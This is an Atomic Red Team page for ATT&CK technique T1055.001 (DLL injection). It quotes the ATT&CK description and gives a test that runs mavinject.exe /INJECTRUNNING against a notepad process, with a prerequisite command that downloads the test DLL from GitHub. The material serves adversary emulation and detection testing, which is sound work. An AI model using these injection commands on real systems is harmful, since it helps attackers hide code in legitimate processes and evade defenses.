# T1055.001 - Dynamic-link Library Injection
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1055/001)
<blockquote>Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) 

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) 

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. </blockquote>

## Atomic Tests

- [Atomic Test #1 - Process Injection via mavinject.exe](#atomic-test-1---process-injection-via-mavinjectexe)


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## Atomic Test #1 - Process Injection via mavinject.exe
Windows 10 Utility To Inject DLLS.

Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.

**Supported Platforms:** Windows


**auto_generated_guid:** 74496461-11a1-4982-b439-4d87a550d254





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| process_id | PID of input_arguments | Integer | (Start-Process notepad -PassThru).id|
| dll_payload | DLL to Inject | Path | PathToAtomicsFolder&#92;T1055.001&#92;src&#92;x64&#92;T1055.001.dll|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$mypid = #{process_id}
mavinject $mypid /INJECTRUNNING #{dll_payload}
```




#### Dependencies:  Run with `powershell`!
##### Description: Utility to inject must exist on disk at specified location (#{dll_payload})
##### Check Prereq Commands:
```powershell
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}"
```




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